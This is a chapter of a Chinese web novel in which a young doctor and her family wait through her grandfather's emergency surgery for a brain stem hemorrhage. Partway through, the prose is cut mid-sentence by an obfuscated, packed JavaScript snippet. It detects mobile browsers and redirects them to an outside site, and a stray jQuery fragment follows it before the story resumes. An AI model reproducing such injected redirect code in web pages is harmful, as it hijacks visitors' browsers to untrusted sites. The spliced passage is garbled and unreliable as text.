48. 无力

揶揄的眼神和婉转拖长的尾音,她的调侃过于明显,席承宇挑起眉毛,大掌轻揉她的发顶,“是顺路,顺路去买晚餐,送你才是主要的。”


“我当然知道。”云依斐轻皱鼻子,下巴一抬,左右轻摇脑袋,慢悠悠又笃定地说。


他最喜欢她这副得意的小模样。


陪着云依斐走到地下室,目送她的离开,直到汽车尾灯弯过路口,引擎的轰鸣消失,他才大步离开,去医院的小超市买了一桶泡面,回到了病房。


雨水只是密集,雨势并不大。但是一下雨,杭城的路况总是莫名其妙的混乱不堪。


云依斐开出没多少距离,妈妈正好打电话来让她去接她一程。云爸爸出差了,接妈妈下班的重任就转交到她的手中。龟速匍匐经过最拥堵的双石立交桥,下了高架后,地面道路也差不大多,云依斐左转右转,终于抵达了目的地。


云妈妈和一个年轻男生共撑一伞站在写字楼前,云依斐按了一声喇叭,他们才一起走了过来。


“正好,也送小宋一程,”云妈妈把她口中的小宋推上车,自己又坐上副驾,“和我们一个小区。”


小宋看上去斯斯文文的,戴着一副黑色圆框眼镜,头发却剪的很短,他穿着一件白色衬衫和一条黑色裤子,怀里抱着黑色双肩包,看到云依斐瞥来的眼神,他坐直了身体,局促地露出一个假笑,左侧脸颊上有一个浅浅的梨涡。


云依斐轻轻颔首以示问候,随后转身转动方向盘,轻踩油门,随意地问:“怎么之前没看到过?”


“今年刚入职,恰好在我们小区租了房子,我也是这几天才知道的,”云妈妈将淋湿的雨伞捆起放在脚边,擦去手臂上沾着的水珠,“我等你的时候正好看见他在叫车,就顺便让他一起了。”


“噢。”


“我叫宋归雁,”男生突然开口,声音带着一些轻颤,“谢谢你。”


“不用谢,反正顺路。”说完,云依斐突然发出一声轻笑,她抿着嘴角,笑意却完全压不住。


宋归雁抱着双肩包向前坐了一些,食指推着镜框,紧张得直吞咽,他张了张嘴,小声地问:“我可以知道你的名字吗?”


但是,他好不容易鼓起勇气的问话却被淹没在先后两阵手机邻声中。


云依斐瞥了一眼手机界面,嘴角才刚上扬,就听见旁边传来一阵惊呼,她转过头去,云妈妈一手紧紧握着安全带,一边手足无措地看着她,她慌乱地点头,一边说:“好好好,我们马上回来。”


“怎么了?”


“你大伯母说你爷爷突然昏迷了,脑溢血,你爸又联系不上,让我们赶紧回家一趟,”她张皇失措地打开手机,喃喃自语,“你爸这会应该还在飞机上,我要定两张飞机票,我们得回去,万一要是……”


云依斐的双手止不住颤抖,双腿不自觉发软,她把车停在路边,转身询问:“小宋,你有驾照吗?”


“有。”宋归雁立马点头。


“那你来开,我现在开不了车。”


云妈妈也跟着附和,“对对对,小宋你来开,安全第一。”


“好,放心,交给我。”


汽车平稳前行,云依斐几个深呼吸,终于冷静下来,“妈,你先订两张最近的机票,然后让大伯母把爷爷的Ct报告拍给我,我看看情况,如果情况紧急的话,把爸的飞机票也买好,可以让他直接在机场转机。”


“好好好。”云妈妈闻言终于找到了主心骨,她的手指轻颤,联系方式输错了好几次,最后把手机递给了云依斐,声音带着哭腔,“你来,有有你来。”


“妈,别怕,会没事的。”


云依斐话虽如此,可是握着妈妈手臂的手也在轻颤。她小时候有一大半的时间和爷爷奶奶一起生活,爷爷会给她做各式各样的核桃手串,那些手串现在还保存在她的百宝盒中,爷爷会教她编竹篮,编蚱蜢,带着她走遍大街小巷,带着她翻山越岭,捉鱼抓虾,她完全不敢想象,没有爷爷的日子。


“会没事的……会没事的……”云妈妈双眼失神,眼泪模糊了视线,只是一味地重复着这四个字。


“大伯母照片发过来了,我先看看……”


云依斐划动手机,大片白色的阴影在黑色的画面里格外的瞩目,随着影像图示的翻动,白色阴影面积还在继续扩大。她闭上了眼睛,眼泪从眼角滚落,她有气无力地说:“小宋,麻烦你先送我和妈妈去机场吧,然后你把车开回家,等我们回来再找你拿钥匙,谢谢你。”


“怎么了?还好吗有有?”


云妈妈紧紧地握着她的手,眼神中的期待灼伤了她的眼球,云依斐不敢看她,目光落在母亲有些干裂的手背上,她吸了吸鼻子,最后还是如实说道:“不太好,出血位置在脑干,出血量有点多,预后……估计不太好。”


“那怎么办啊,怎么办……”云妈妈突然发了疯似的一直拨打云爸爸的电话,却始终只有一道冰冷机械的女声回应她。


“我们先去吧,具体情况要看那边医生的说法,开颅还是穿刺,希望有个好消息吧。”


云依斐重重地叹息,强撑着精神给大伯母回了电话。然后只有等待,等待命运的裁决。


窗外雨声淅沥,玻璃上的水珠被一层一层覆盖,汽车的红色尾灯和街边的路灯一齐倒影在车窗上,朦胧又梦幻,云依斐突然希望这一切都是梦,如果是梦就好了。


焦灼又无力的等待漫及整个车厢,云依斐始终握着母亲的手,给予她力量,也希冀能摄取一些力量。


-


从一个城市辗转到另一个城市,抵达榕城第一人民医院的时候,夜色已经如同一团化不开的浓墨一般。


大伯焦急地在手术室前来回踱步,医生术前谈话交代的风险太大,不是瘫痪就是长期昏迷,更甚是死亡。可除了手术,别无他法。他的手现在还在不自主地颤抖。堂哥和堂姐坐在蓝色塑料凳上,一个不停地搓手,一个无神地发呆。大伯母抱着奶奶,哭声此起彼伏,一人停一人起。云妈妈见状忍不住留下了眼泪,和她们一起抽泣。


云依斐身为家中唯一一个医生,此刻顾不得伤心,她抹去眼角的泪水,拉住原地打转像是无头苍蝇一样的大伯,她吞咽了几下,语声带着浓浓的鼻音,“大伯,现在是什么情况?”


“有有啊,医生说什么穿刺不了,只能开颅,但开颅会死,不开颅也会死,我签字了,我不知道该怎么办,我签字了……”他双手抱着头,情绪突然崩溃,如同泻堤的洪水一般,推搡着云依斐,“我签字了,爸不会有事的对吧?你告诉我,爸是不是会没事?”


云依斐一个踉跄,原本就无力的下肢承受不住一丁点的冲击,跌落在地面上,臀部的钝痛牵


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15907334|173092||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


扯着心脏,心脏像是被五指山压着,闷塞窒息,呼吸也不畅快。她的鼻头泛起一阵酸涩,眼泪一颗一颗砸在地面上。


终于云爸爸风尘仆仆地推着行李箱赶来,将女儿从地上扶起,背上挨了几个结实的巴掌。


堂哥箭步冲到他的身边,紧紧着箍着他爸的身体,“爸,冷静一点,爷爷肯定不希望看到我们这样。”


“老头子知道个屁!让他不要喝酒不要喝酒,非说药酒不是酒,让他吃高血压药,他嘴上说会吃会吃,隔几天去看药一颗没少,他就是故意的,”大伯破口大骂,挣脱着走到一边,手指着“手术中”的指示牌,“他就是故意不让我们好过,他就是故意的……”


没有人阻止他的发泄,大伯骂着骂着又哀嚎痛哭,最后无力地跌坐在凳子上,双手垂在身前,头埋在腿间,没了声响,只剩下不停起伏的肩胛骨和断断续续的抽泣声。


对于生命的未知,等待往往最为痛苦。压抑的气氛在整个家属等候区蔓延,没了泪水,悲伤也就没了倾泻的出口,沉默比哀嚎更让人难受。


手术很漫长,天际泛出一抹亮光,夜色逐渐被驱逐,指示牌上的灯终于熄灭。


医生走出手术室,带来了一个勉强能称为好消息的消息,手术完成了。


所有人都松了一口气,只有云依斐。


她的眉头还是蹙在一起,只有她知道,手术是爷爷经历的第一道关卡。她不忍打碎他们的期望,因此选择沉默。


但是主刀医生会说,他的手掌轻轻下压,声音波澜不惊,像是看淡了生死,“虽然手术完成了,但是患者并没有脱离生命危险,手术后可能会因为脑干功能衰竭抑制呼吸中枢,也有可能会再出血或者脑疝,还有肺炎或者多脏器衰竭等多重难关。”说到这里,他终是无奈地摇头,“你们还是要做好准备。”


做好什么准备?


他们的话来不及问出口,主刀医生消失在缓缓关闭的移门内。


于是奶奶只好求助地看着云依斐,她握着她的手臂,或者说用捏更加合适,指甲嵌入了她的肌肤,软肉从指缝中漏出,像是树皮一样苍老又粗糙的掌心,却有着无尽的力量。她看着云依斐,唉声问道:“有有,医生是什么意思?不是手术成功了吗?为什么还会死?”


他们都围着她,目光停留在她的身上,炯炯的眼神下是无尽的苍凉与绝望。云依斐垂下眼眸,呐呐地说:“医生说得只是可能,百分之五十成功率的手术爷爷都挺过来了,接下去的那些可能,爷爷都会挺过来的。”


“好,好……”


好吗?


一点都不好。


云依斐知道脑干出血的症状,剧烈的头痛,喷射样的呕吐,异常的呼吸与心跳,每一样都不好受。手术后最好的结果就是长期昏迷,可是呼吸机的维持,没有质量的生存,对爷爷和他们来说,都是一场看不到终点的漫漫跋涉。


她不知道,正确的选择是什么,或者在亲情面前,选择有所谓的正确与否吗?


阳光透过窗户照进她的眼眸,她和爷爷的亲情似乎永远停留在了昨夜,如墨一般,看不到光明的夜晚。


这一刻,她的脑海浮现出席承宇的身影,无关风花雪月的浪漫,而是世事无常的感叹。她拿出手机,忽然想起事发之前他给她发了信息。


他问:安全到家了吗?